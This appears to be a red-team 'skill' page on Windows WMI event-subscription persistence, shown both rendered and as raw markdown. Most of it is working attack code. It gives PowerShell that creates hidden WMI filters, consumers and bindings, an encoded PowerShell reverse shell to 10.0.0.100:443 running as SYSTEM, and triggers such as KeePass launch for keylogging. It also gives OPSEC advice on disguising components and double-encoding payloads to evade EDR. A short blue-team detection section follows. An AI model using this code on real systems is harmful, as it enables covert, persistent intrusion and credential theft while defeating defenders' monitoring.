WMI Event Subscriptions (Persistence)
When to Use
- When you have elevated access (Local Admin or SYSTEM) on a Windows target and need persistence that survives reboots while evading standard Autoruns and Scheduled Task enumeration.
- When standard persistence mechanisms (Registry Run keys, Scheduled Tasks) are closely monitored by EDR and you need to live deeper in the OS.
- To execute "fileless" payloads stored entirely within the WMI repository (
C:\Windows\System32\wbem\Repository\OBJECTS.DATA), outside the traditional filesystem.
- To attach payloads to conditional triggers — for example, launching a keylogger only when the user opens
keepass.exe or chrome.exe.
When NOT to use: For initial access payload delivery, use phishing-payload-generation. For registry-based persistence, use standard Run key techniques. For service-based persistence that's simpler but noisier, use Scheduled Tasks.
Prerequisites
- Administrative or SYSTEM-level access on the target Windows host
- PowerShell execution (not in Constrained Language Mode)
- Understanding of WQL (WMI Query Language) for custom triggers
- A staged payload (reverse shell, C2 beacon) ready for execution
Workflow
Phase 1: Understanding the WMI Persistence Triad
# WMI Event Subscriptions require three interconnected components stored in
# the WMI repository (C:\Windows\System32\wbem\Repository):
# 1. Event Filter (__EventFilter):
# A WQL query defining WHAT system event to monitor.
# Think of it as: "Watch for the exact moment when [condition] occurs."
# Example: "Trigger when system uptime exceeds 3 minutes after boot."
# 2. Event Consumer (CommandLineEventConsumer or ActiveScriptEventConsumer):
# The malicious ACTION to execute when the filter's condition is met.
# Think of it as: "When triggered, run this hidden PowerShell beacon."
# Types:
# - CommandLineEventConsumer → executes a command line (most common)
# - ActiveScriptEventConsumer → executes VBScript/JScript inline
# - LogFileEventConsumer → writes to a log (useful for staging)
# - SMTPEventConsumer → sends email (rare in attacks)
# 3. FilterToConsumerBinding (__FilterToConsumerBinding):
# The LINK that marries a specific Filter to a specific Consumer.
# Without this binding, the Filter watches and Consumer waits, but
# nothing connects them. This is what activates the persistence.
Phase 2: Crafting the Event Filter (The Trigger)
# Execute from an elevated PowerShell session on the target.
# === TRIGGER OPTION A: System Startup (3-5 minutes after boot) ===
# Rationale: Wait for network stack to fully initialize before C2 callback.
$FilterName = "CoreTelemetryMonitor"
$StartupQuery = @"
SELECT * FROM __InstanceModificationEvent WITHIN 60
WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'
AND TargetInstance.SystemUpTime >= 240
AND TargetInstance.SystemUpTime < 325
"@
$FilterArgs = @{
Name = $FilterName
EventNamespace = "root\cimv2"
QueryLanguage = "WQL"
Query = $StartupQuery
}
$Filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments $FilterArgs
# === TRIGGER OPTION B: User Logon Event ===
$LogonQuery = "SELECT * FROM __InstanceCreationEvent WITHIN 15 WHERE TargetInstance ISA 'Win32_LogonSession' AND TargetInstance.LogonType = 2"
# === TRIGGER OPTION C: Specific Process Launch (e.g., when KeePass opens) ===
$ProcessQuery = "SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName = 'keepass.exe'"
# === TRIGGER OPTION D: Time-Based (Every day at 2:00 AM) ===
$TimeQuery = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Hour = 2 AND TargetInstance.Minute = 0"
Phase 3: Crafting the Event Consumer (The Payload)
# The Consumer defines WHAT executes when the Filter triggers.
# The payload runs as NT AUTHORITY\SYSTEM — maximum privileges.
# === OPTION A: CommandLineEventConsumer (most common) ===
# Use a hidden PowerShell reverse shell encoded in Base64
$ConsumerName = "CoreTelemetryLogger"
# Generate the payload (example: encoded PowerShell reverse shell)
# In practice, use your C2 framework's stager (Cobalt Strike, Sliver, etc.)
$RawPayload = '$c=New-Object Net.Sockets.TCPClient("10.0.0.100",443);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length))-ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$r2=$r+"PS "+(pwd).Path+"> ";$sb=([text.encoding]::ASCII).GetBytes($r2);$s.Write($sb,0,$sb.Length);$s.Flush()};$c.Close()'
$EncodedPayload = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($RawPayload))
$CommandLine = "powershell.exe -w hidden -nop -enc $EncodedPayload"
$ConsumerArgs = @{
Name = $ConsumerName
CommandLineTemplate = $CommandLine
}
$Consumer = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments $ConsumerArgs
# === OPTION B: ActiveScriptEventConsumer (VBScript — more evasive) ===
$VBPayload = @"
Set objShell = CreateObject("WScript.Shell")
objShell.Run "powershell.exe -w hidden -nop -enc $EncodedPayload", 0, False
"@
$ScriptConsumerArgs = @{
Name = "UpdateServiceHandler"
ScriptingEngine = "VBScript"
ScriptText = $VBPayload
}
# $ScriptConsumer = Set-WmiInstance -Namespace root\subscription -Class ActiveScriptEventConsumer -Arguments $ScriptConsumerArgs
Phase 4: Binding Filter to Consumer (Activating Persistence)
# The binding is the activation step — without it, nothing triggers.
$BindArgs = @{
Filter = $Filter
Consumer = $Consumer
}
$Binding = Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments $BindArgs
Write-Host "[+] WMI Persistence established successfully." -ForegroundColor Green
Write-Host "[+] Filter: $FilterName → Consumer: $ConsumerName" -ForegroundColor Green
Write-Host "[+] Payload executes as SYSTEM upon next trigger activation." -ForegroundColor Green
Phase 5: Validation & OPSEC
# === VERIFY the persistence was created ===
# 1. List all Event Filters
Get-WmiObject -Namespace root\subscription -Class __EventFilter |
Select-Object Name, Query | Format-Table -AutoSize
# 2. List all Event Consumers
Get-WmiObject -Namespace root\subscription -Class CommandLineEventConsumer |
Select-Object Name, CommandLineTemplate | Format-Table -AutoSize
# 3. List all Bindings
Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding |
Select-Object @{N='Filter';E={$_.Filter.Split('"')[1]}},
@{N='Consumer';E={$_.Consumer.Split('"')[1]}} |
Format-Table -AutoSize
# === OPSEC CONSIDERATIONS ===
# - Use benign-sounding names: "WindowsUpdateMonitor", "TelemetryService"
# - Avoid putting offensive tool names in the CommandLineTemplate
# - Use double-encoding or encryption on the payload
# - Consider using ActiveScriptEventConsumer as it's less commonly monitored
# - Time your trigger to coincide with normal system activity
Phase 6: Cleanup (Critical for OPSEC)
# When the operation concludes, you MUST remove all three components.
# Leaving them creates forensic evidence and potential future compromise.
# Remove the binding FIRST
Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding `
-Filter "Filter=""__EventFilter.Name='$FilterName'""" | Remove-WmiObject
# Remove the consumer
Get-WmiObject -Namespace root\subscription -Class CommandLineEventConsumer `
-Filter "Name='$ConsumerName'" | Remove-WmiObject
# Remove the filter
Get-WmiObject -Namespace root\subscription -Class __EventFilter `
-Filter "Name='$FilterName'" | Remove-WmiObject
Write-Host "[+] WMI persistence artifacts cleaned up." -ForegroundColor Yellow
Decision Point 🔀
flowchart TD
A[Achieve Elevated Access - Admin/SYSTEM] --> B[Decide on Trigger Condition]
B -->|Boot/Startup| C[Write WQL query monitoring SystemUpTime]
B -->|User Logon| D[Write WQL query monitoring Win32_LogonSession]
B -->|Process Launch| E[Write WQL query monitoring Win32_ProcessStartTrace]
B -->|Time-Based| F[Write WQL query monitoring Win32_LocalTime]
C --> G[Create __EventFilter in root\subscription namespace]
D --> G
E --> G
F --> G
G --> H[Create CommandLineEventConsumer with encoded payload]
H --> I[Create __FilterToConsumerBinding linking Filter to Consumer]
I --> J[Validate — list all three components]
J --> K{Trigger fires and payload executes as SYSTEM?}
K -->|Yes| L[Persistence confirmed — document and proceed]
K -->|No| M[Debug: Check WQL syntax, namespace, Event Log for errors]
M --> G
L --> N[On operation completion: Remove Filter + Consumer + Binding]
🔵 Blue Team Detection & Defense
Detection Methods
- Sysmon Event ID 19 (WmiEventFilter activity detected): Captures creation of new WMI Event Filters. Alert on any new
__EventFilter in root\subscription.
- Sysmon Event ID 20 (WmiEventConsumer activity detected): Captures creation of Event Consumers. Alert specifically on
CommandLineEventConsumer and ActiveScriptEventConsumer types.
- Sysmon Event ID 21 (WmiEventConsumerToFilter activity detected): Captures the binding creation. This is the final activation step.
- PowerShell Script Block Logging (Event ID 4104): When the
CommandLineEventConsumer executes its payload, PowerShell deobfuscates the Base64 content. This is captured in Script Block Logs regardless of AMSI status.
- WMI Repository Parsing: Tools like
Get-WMIObject or PyWMIPersistenceFinder can enumerate all active subscriptions across endpoints.
- Sysinternals Autoruns: The "WMI" tab in
Autoruns64.exe natively displays all WMI Event Consumers that execute shell commands.
Prevention
- Restrict WMI Access: Use GPO to limit who can create permanent WMI subscriptions. Apply the principle of least privilege.
- AppLocker/WDAC: Restrict PowerShell to ConstrainedLanguage mode for non-privileged users, preventing
Set-WmiInstance abuse.
- Sysmon Deployment: Deploy Sysmon with a configuration that specifically monitors Event IDs 19, 20, 21 for any
root\subscription namespace changes.
- Regular Auditing: Periodically enumerate
root\subscription for unexpected Filters, Consumers, and Bindings.
Key Concepts
| Concept |
Description |
| WMI (Windows Management Instrumentation) |
Microsoft's OS management framework providing deep administrative control and querying capability via the CIM (Common Information Model) |
| WQL (WMI Query Language) |
SQL-like syntax for querying the WMI database. Used to define Event Filter trigger conditions (e.g., SELECT * FROM Win32_ProcessStartTrace) |
| __EventFilter |
WMI class defining WHEN the persistence triggers. Contains the WQL query that monitors for specific system events |
| CommandLineEventConsumer |
WMI class defining WHAT executes when triggered. Launches a command line process (typically hidden PowerShell) as SYSTEM |
| ActiveScriptEventConsumer |
Alternative consumer that executes inline VBScript/JScript. More evasive as it doesn't spawn a new process directly |
| __FilterToConsumerBinding |
WMI class that LINKS a specific Filter to a specific Consumer, activating the persistence mechanism |
| Fileless Malware |
Attack methodology operating within RAM or leveraging built-in OS tools (PowerShell, WMI), avoiding placing executables on disk |
| OBJECTS.DATA |
The WMI repository file where all WMI class instances are stored. WMI persistence lives here, outside the standard filesystem |
Output Format
Red Team Tactics Report: WMI Event Subscription Persistence
=============================================================
Target Host: SRV-DC01.corp.local
Privilege Level: NT AUTHORITY\SYSTEM (Elevated via PrintSpoofer)
MITRE ATT&CK: T1546.003 (Event Triggered Execution: WMI Event Subscription)
Implementation:
Event Filter: "CoreTelemetryMonitor"
Trigger: System uptime between 240-325 seconds (4-5 min post-boot)
Namespace: root\cimv2
Event Consumer: "CoreTelemetryLogger" (CommandLineEventConsumer)
Payload: Hidden PowerShell reverse shell to 10.0.0.100:443
Execution Context: SYSTEM
Binding: CoreTelemetryMonitor → CoreTelemetryLogger (Active)
Validation:
Rebooted target host → Reverse shell received after 4 minutes
Payload executed as NT AUTHORITY\SYSTEM
No alerts generated by CrowdStrike Falcon (at time of test)
OPSEC Notes:
- Named components after legitimate Windows telemetry services
- Payload double-encoded to evade static analysis
- Trigger window (240-325s) avoids collision with startup scripts
Cleanup Status: All three components removed after operation concluded
- Pivot and escalate using chained attack paths.
📚 Shared Resources
For cross-cutting methodology applicable to all vulnerability classes, see:
References
1---2name: wmi-event-subscriptions3description: >4 Establish highly stealthy, fileless persistence on compromised Windows systems using WMI5 (Windows Management Instrumentation) Event Subscriptions. Create malicious Event Filters,6 Event Consumers, and FilterToConsumer Bindings to execute payloads (reverse shells, beacons,7 keyloggers) triggered by system events — startup, user logon, process creation, or time intervals.8 This persistence survives reboots and evades Autoruns, file-based AV, and standard EDR sweeps.9domain: cybersecurity10subdomain: red-teaming11category: Persistence12difficulty: expert13estimated_time: "2-4 hours"14mitre_attack:15 tactics: [TA0003, TA0002]16 techniques: [T1546.003, T1047]17platforms: [windows]18tags: [wmi, persistence, fileless-malware, red-teaming, powershell, defense-evasion, living-off-the-land]19tools: [powershell, wbemtest, cobalt-strike, empire, sysmon]20version: "2.0"21author: CyberSkills-Elite22license: Apache-2.023metadata:24 source: https://skillmd.com/skills/shulkwisec/wmi-event-subscriptions25---2627# WMI Event Subscriptions (Persistence)2829## When to Use30- When you have elevated access (Local Admin or SYSTEM) on a Windows target and need persistence that survives reboots while evading standard Autoruns and Scheduled Task enumeration.31- When standard persistence mechanisms (Registry Run keys, Scheduled Tasks) are closely monitored by EDR and you need to live deeper in the OS.32- To execute "fileless" payloads stored entirely within the WMI repository (`C:\Windows\System32\wbem\Repository\OBJECTS.DATA`), outside the traditional filesystem.33- To attach payloads to conditional triggers — for example, launching a keylogger only when the user opens `keepass.exe` or `chrome.exe`.3435**When NOT to use**: For initial access payload delivery, use `phishing-payload-generation`. For registry-based persistence, use standard Run key techniques. For service-based persistence that's simpler but noisier, use Scheduled Tasks.3637## Prerequisites38- Administrative or SYSTEM-level access on the target Windows host39- PowerShell execution (not in Constrained Language Mode)40- Understanding of WQL (WMI Query Language) for custom triggers41- A staged payload (reverse shell, C2 beacon) ready for execution4243## Workflow4445### Phase 1: Understanding the WMI Persistence Triad4647```text48# WMI Event Subscriptions require three interconnected components stored in49# the WMI repository (C:\Windows\System32\wbem\Repository):5051# 1. Event Filter (__EventFilter):52# A WQL query defining WHAT system event to monitor.53# Think of it as: "Watch for the exact moment when [condition] occurs."54# Example: "Trigger when system uptime exceeds 3 minutes after boot."5556# 2. Event Consumer (CommandLineEventConsumer or ActiveScriptEventConsumer):57# The malicious ACTION to execute when the filter's condition is met.58# Think of it as: "When triggered, run this hidden PowerShell beacon."59# Types:60# - CommandLineEventConsumer → executes a command line (most common)61# - ActiveScriptEventConsumer → executes VBScript/JScript inline62# - LogFileEventConsumer → writes to a log (useful for staging)63# - SMTPEventConsumer → sends email (rare in attacks)6465# 3. FilterToConsumerBinding (__FilterToConsumerBinding):66# The LINK that marries a specific Filter to a specific Consumer.67# Without this binding, the Filter watches and Consumer waits, but68# nothing connects them. This is what activates the persistence.69```7071### Phase 2: Crafting the Event Filter (The Trigger)7273```powershell74# Execute from an elevated PowerShell session on the target.7576# === TRIGGER OPTION A: System Startup (3-5 minutes after boot) ===77# Rationale: Wait for network stack to fully initialize before C2 callback.78$FilterName = "CoreTelemetryMonitor"79$StartupQuery = @"80SELECT * FROM __InstanceModificationEvent WITHIN 60 81WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' 82AND TargetInstance.SystemUpTime >= 240 83AND TargetInstance.SystemUpTime < 32584"@8586$FilterArgs = @{87 Name = $FilterName88 EventNamespace = "root\cimv2"89 QueryLanguage = "WQL"90 Query = $StartupQuery91}92$Filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments $FilterArgs9394# === TRIGGER OPTION B: User Logon Event ===95$LogonQuery = "SELECT * FROM __InstanceCreationEvent WITHIN 15 WHERE TargetInstance ISA 'Win32_LogonSession' AND TargetInstance.LogonType = 2"9697# === TRIGGER OPTION C: Specific Process Launch (e.g., when KeePass opens) ===98$ProcessQuery = "SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName = 'keepass.exe'"99100# === TRIGGER OPTION D: Time-Based (Every day at 2:00 AM) ===101$TimeQuery = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Hour = 2 AND TargetInstance.Minute = 0"102```103104### Phase 3: Crafting the Event Consumer (The Payload)105106```powershell107# The Consumer defines WHAT executes when the Filter triggers.108# The payload runs as NT AUTHORITY\SYSTEM — maximum privileges.109110# === OPTION A: CommandLineEventConsumer (most common) ===111# Use a hidden PowerShell reverse shell encoded in Base64112$ConsumerName = "CoreTelemetryLogger"113114# Generate the payload (example: encoded PowerShell reverse shell)115# In practice, use your C2 framework's stager (Cobalt Strike, Sliver, etc.)116$RawPayload = '$c=New-Object Net.Sockets.TCPClient("10.0.0.100",443);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length))-ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$r2=$r+"PS "+(pwd).Path+"> ";$sb=([text.encoding]::ASCII).GetBytes($r2);$s.Write($sb,0,$sb.Length);$s.Flush()};$c.Close()'117$EncodedPayload = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($RawPayload))118$CommandLine = "powershell.exe -w hidden -nop -enc $EncodedPayload"119120$ConsumerArgs = @{121 Name = $ConsumerName122 CommandLineTemplate = $CommandLine123}124$Consumer = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments $ConsumerArgs125126# === OPTION B: ActiveScriptEventConsumer (VBScript — more evasive) ===127$VBPayload = @"128Set objShell = CreateObject("WScript.Shell")129objShell.Run "powershell.exe -w hidden -nop -enc $EncodedPayload", 0, False130"@131$ScriptConsumerArgs = @{132 Name = "UpdateServiceHandler"133 ScriptingEngine = "VBScript"134 ScriptText = $VBPayload135}136# $ScriptConsumer = Set-WmiInstance -Namespace root\subscription -Class ActiveScriptEventConsumer -Arguments $ScriptConsumerArgs137```138139### Phase 4: Binding Filter to Consumer (Activating Persistence)140141```powershell142# The binding is the activation step — without it, nothing triggers.143144$BindArgs = @{145 Filter = $Filter146 Consumer = $Consumer147}148$Binding = Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments $BindArgs149150Write-Host "[+] WMI Persistence established successfully." -ForegroundColor Green151Write-Host "[+] Filter: $FilterName → Consumer: $ConsumerName" -ForegroundColor Green152Write-Host "[+] Payload executes as SYSTEM upon next trigger activation." -ForegroundColor Green153```154155### Phase 5: Validation & OPSEC156157```powershell158# === VERIFY the persistence was created ===159160# 1. List all Event Filters161Get-WmiObject -Namespace root\subscription -Class __EventFilter |162 Select-Object Name, Query | Format-Table -AutoSize163164# 2. List all Event Consumers165Get-WmiObject -Namespace root\subscription -Class CommandLineEventConsumer |166 Select-Object Name, CommandLineTemplate | Format-Table -AutoSize167168# 3. List all Bindings169Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding |170 Select-Object @{N='Filter';E={$_.Filter.Split('"')[1]}},171 @{N='Consumer';E={$_.Consumer.Split('"')[1]}} |172 Format-Table -AutoSize173174# === OPSEC CONSIDERATIONS ===175# - Use benign-sounding names: "WindowsUpdateMonitor", "TelemetryService"176# - Avoid putting offensive tool names in the CommandLineTemplate177# - Use double-encoding or encryption on the payload178# - Consider using ActiveScriptEventConsumer as it's less commonly monitored179# - Time your trigger to coincide with normal system activity180```181182### Phase 6: Cleanup (Critical for OPSEC)183184```powershell185# When the operation concludes, you MUST remove all three components.186# Leaving them creates forensic evidence and potential future compromise.187188# Remove the binding FIRST189Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding `190 -Filter "Filter=""__EventFilter.Name='$FilterName'""" | Remove-WmiObject191192# Remove the consumer193Get-WmiObject -Namespace root\subscription -Class CommandLineEventConsumer `194 -Filter "Name='$ConsumerName'" | Remove-WmiObject195196# Remove the filter197Get-WmiObject -Namespace root\subscription -Class __EventFilter `198 -Filter "Name='$FilterName'" | Remove-WmiObject199200Write-Host "[+] WMI persistence artifacts cleaned up." -ForegroundColor Yellow201```202203#### Decision Point 🔀204```mermaid205flowchart TD206 A[Achieve Elevated Access - Admin/SYSTEM] --> B[Decide on Trigger Condition]207 B -->|Boot/Startup| C[Write WQL query monitoring SystemUpTime]208 B -->|User Logon| D[Write WQL query monitoring Win32_LogonSession]209 B -->|Process Launch| E[Write WQL query monitoring Win32_ProcessStartTrace]210 B -->|Time-Based| F[Write WQL query monitoring Win32_LocalTime]211 C --> G[Create __EventFilter in root\subscription namespace]212 D --> G213 E --> G214 F --> G215 G --> H[Create CommandLineEventConsumer with encoded payload]216 H --> I[Create __FilterToConsumerBinding linking Filter to Consumer]217 I --> J[Validate — list all three components]218 J --> K{Trigger fires and payload executes as SYSTEM?}219 K -->|Yes| L[Persistence confirmed — document and proceed]220 K -->|No| M[Debug: Check WQL syntax, namespace, Event Log for errors]221 M --> G222 L --> N[On operation completion: Remove Filter + Consumer + Binding]223```224225## 🔵 Blue Team Detection & Defense226227### Detection Methods228- **Sysmon Event ID 19 (WmiEventFilter activity detected)**: Captures creation of new WMI Event Filters. Alert on any new `__EventFilter` in `root\subscription`.229- **Sysmon Event ID 20 (WmiEventConsumer activity detected)**: Captures creation of Event Consumers. Alert specifically on `CommandLineEventConsumer` and `ActiveScriptEventConsumer` types.230- **Sysmon Event ID 21 (WmiEventConsumerToFilter activity detected)**: Captures the binding creation. This is the final activation step.231- **PowerShell Script Block Logging (Event ID 4104)**: When the `CommandLineEventConsumer` executes its payload, PowerShell deobfuscates the Base64 content. This is captured in Script Block Logs regardless of AMSI status.232- **WMI Repository Parsing**: Tools like `Get-WMIObject` or PyWMIPersistenceFinder can enumerate all active subscriptions across endpoints.233- **Sysinternals Autoruns**: The "WMI" tab in `Autoruns64.exe` natively displays all WMI Event Consumers that execute shell commands.234235### Prevention236- **Restrict WMI Access**: Use GPO to limit who can create permanent WMI subscriptions. Apply the principle of least privilege.237- **AppLocker/WDAC**: Restrict PowerShell to ConstrainedLanguage mode for non-privileged users, preventing `Set-WmiInstance` abuse.238- **Sysmon Deployment**: Deploy Sysmon with a configuration that specifically monitors Event IDs 19, 20, 21 for any `root\subscription` namespace changes.239- **Regular Auditing**: Periodically enumerate `root\subscription` for unexpected Filters, Consumers, and Bindings.240241## Key Concepts242| Concept | Description |243|---------|-------------|244| WMI (Windows Management Instrumentation) | Microsoft's OS management framework providing deep administrative control and querying capability via the CIM (Common Information Model) |245| WQL (WMI Query Language) | SQL-like syntax for querying the WMI database. Used to define Event Filter trigger conditions (e.g., `SELECT * FROM Win32_ProcessStartTrace`) |246| __EventFilter | WMI class defining WHEN the persistence triggers. Contains the WQL query that monitors for specific system events |247| CommandLineEventConsumer | WMI class defining WHAT executes when triggered. Launches a command line process (typically hidden PowerShell) as SYSTEM |248| ActiveScriptEventConsumer | Alternative consumer that executes inline VBScript/JScript. More evasive as it doesn't spawn a new process directly |249| __FilterToConsumerBinding | WMI class that LINKS a specific Filter to a specific Consumer, activating the persistence mechanism |250| Fileless Malware | Attack methodology operating within RAM or leveraging built-in OS tools (PowerShell, WMI), avoiding placing executables on disk |251| OBJECTS.DATA | The WMI repository file where all WMI class instances are stored. WMI persistence lives here, outside the standard filesystem |252253## Output Format254```255Red Team Tactics Report: WMI Event Subscription Persistence256=============================================================257Target Host: SRV-DC01.corp.local258Privilege Level: NT AUTHORITY\SYSTEM (Elevated via PrintSpoofer)259MITRE ATT&CK: T1546.003 (Event Triggered Execution: WMI Event Subscription)260261Implementation:262 Event Filter: "CoreTelemetryMonitor"263 Trigger: System uptime between 240-325 seconds (4-5 min post-boot)264 Namespace: root\cimv2265 266 Event Consumer: "CoreTelemetryLogger" (CommandLineEventConsumer)267 Payload: Hidden PowerShell reverse shell to 10.0.0.100:443268 Execution Context: SYSTEM269 270 Binding: CoreTelemetryMonitor → CoreTelemetryLogger (Active)271272Validation:273 Rebooted target host → Reverse shell received after 4 minutes274 Payload executed as NT AUTHORITY\SYSTEM275 No alerts generated by CrowdStrike Falcon (at time of test)276 277OPSEC Notes:278 - Named components after legitimate Windows telemetry services279 - Payload double-encoded to evade static analysis280 - Trigger window (240-325s) avoids collision with startup scripts281282Cleanup Status: All three components removed after operation concluded283```284285286- Pivot and escalate using chained attack paths.287288289## 📚 Shared Resources290> For cross-cutting methodology applicable to all vulnerability classes, see:291> - [`_shared/references/elite-chaining-strategy.md`](../_shared/references/elite-chaining-strategy.md) — Exploit chaining methodology and high-payout chain patterns292> - [`_shared/references/elite-report-writing.md`](../_shared/references/elite-report-writing.md) — HackerOne-optimized report writing, CWE quick reference293> - [`_shared/references/real-world-bounties.md`](../_shared/references/real-world-bounties.md) — Verified disclosed bounties by vulnerability class294295## References296- MITRE ATT&CK: [Event Triggered Execution: WMI Event Subscription](https://attack.mitre.org/techniques/T1546/003/)297- SpecterOps: [Threat Hunting with WMI Event Subscriptions](https://posts.specterops.io/threat-hunting-with-wmi-event-subscriptions-10cd27546a36)298- FireEye/Mandiant: [WMI: Offense, Defense, and Forensics](https://www.mandiant.com/resources/blog/windows-management-instrumentation-wmi-offense-defense-and-forensics)299- Microsoft: [WMI Event Subscription Reference](https://docs.microsoft.com/en-us/windows/win32/wmisdk/monitoring-events)